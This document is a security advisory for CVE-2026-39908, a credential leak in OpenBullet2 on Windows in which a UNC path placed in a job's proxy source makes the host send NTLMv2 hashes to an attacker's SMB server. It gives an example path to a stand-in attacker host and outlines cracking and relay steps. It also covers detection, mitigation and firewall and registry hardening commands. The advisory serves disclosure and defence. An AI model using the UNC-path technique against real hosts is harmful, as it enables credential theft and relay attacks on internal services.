CVE-2026-39908: OpenBullet2 Credential Disclosure Vulnerability

CVE-2026-39908 Overview

CVE-2026-39908 affects OpenBullet2 through version 0.3.2 on Windows. The flaw allows remote attackers to capture the NTLMv2 hash of the process user by configuring a job proxy source with a Universal Naming Convention (UNC) path that points to an attacker-controlled Server Message Block (SMB) server. When the job starts, OpenBullet2 attempts to load proxies from the UNC path, triggering an outbound SMB authentication that leaks the NTLMv2 hash. Attackers can then relay the credentials or crack them offline. The issue is classified under CWE-522: Insufficiently Protected Credentials.

Critical Impact
Authenticated users can coerce the OpenBullet2 host into leaking NTLMv2 credentials to an attacker-controlled SMB server, enabling relay attacks and offline hash cracking.

Affected Products

OpenBullet2 through version 0.3.2
Windows hosts running the affected OpenBullet2 build
Deployments exposing the OpenBullet2 web interface to untrusted users

Discovery Timeline

2026-06-08 - CVE-2026-39908 published to the National Vulnerability Database
2026-06-09 - Last updated in NVD database

Technical Details for CVE-2026-39908

Vulnerability Analysis

OpenBullet2 accepts a proxy source location as part of its job configuration. The application does not restrict the proxy source to local files or HTTP(S) endpoints. An authenticated user can supply a UNC path such as \\attacker.example.com\share\proxies.txt. When the job starts, the Windows file APIs resolve the UNC path and initiate an SMB connection to the remote host.

Windows automatically performs NTLM authentication against the remote SMB server using the credentials of the OpenBullet2 process account. The attacker-controlled server captures the NTLMv2 challenge-response exchange. The captured hash can be cracked offline with tools such as hashcat or relayed against other internal services that accept NTLM, including LDAP, SMB, and HTTP endpoints.

Root Cause

The root cause is missing input validation on the job proxy source field. The application passes user-controlled paths directly to file-loading routines without filtering UNC schemes or restricting protocols. This permits credential exposure through implicit Windows authentication behavior.

Attack Vector

The attack requires network access to the OpenBullet2 interface and low-privilege authenticated access to create or modify a job. The attacker hosts a rogue SMB listener, configures a job with a proxy source pointing to that listener, and starts the job. The OpenBullet2 host connects outbound on TCP port 445 and submits NTLMv2 authentication material that the attacker records. See the VulnCheck advisory on OpenBullet2 and the related HackerNoon analysis of OpenBullet2 authentication issues for additional context.

Detection Methods for CVE-2026-39908

Indicators of Compromise

Outbound SMB (TCP/445) connections originating from OpenBullet2 hosts to untrusted external or internal destinations
OpenBullet2 job configurations containing UNC paths (\\host\share\...) in the proxy source field
Windows Security event 4624 or 4648 entries referencing NTLM authentication from the OpenBullet2 service account against unexpected destinations

Detection Strategies

Inspect OpenBullet2 job configuration files and database entries for proxy source values beginning with \\ or file://
Alert on any SMB authentication initiated by the OpenBullet2 process to hosts outside an approved allowlist
Correlate OpenBullet2 job start events with new outbound connections on ports 139 and 445

Monitoring Recommendations

Forward Windows Security, Sysmon, and firewall logs to a centralized analytics platform for cross-source correlation
Monitor egress firewall logs for SMB traffic leaving the network perimeter, which should be blocked by policy
Track process-level network telemetry for the OpenBullet2 executable and flag any non-HTTP destinations

How to Mitigate CVE-2026-39908

Immediate Actions Required

Restrict access to the OpenBullet2 interface to trusted operators only and enforce strong authentication
Block outbound SMB (TCP/139, TCP/445) at the perimeter firewall to prevent NTLM hashes from leaving the network
Audit existing job configurations for UNC or file:// proxy sources and remove them
Run the OpenBullet2 process under a low-privilege local account that has no domain credentials to leak

Patch Information

No vendor patch is referenced in the published advisory. Track the VulnCheck advisory for fix availability. Until a patched release is published, operators should treat OpenBullet2 deployments as exposed to credential disclosure and apply the workarounds below.

Workarounds

Enable SMB signing and configure the Windows policy Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers to Deny all
Apply host-based firewall rules that block the OpenBullet2 process from initiating SMB connections
Isolate OpenBullet2 instances in a network segment with no route to internal NTLM-accepting services such as Active Directory domain controllers, file servers, or LDAP endpoints
Disable NTLM authentication where feasible and migrate dependent services to Kerberos or modern authentication

bash

# Example Windows policy hardening to restrict outbound NTLM
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 2 /f

# Example egress firewall rule to block SMB from the OpenBullet2 host
New-NetFirewallRule -DisplayName "Block Outbound SMB" -Direction Outbound -Protocol TCP -RemotePort 445,139 -Action Block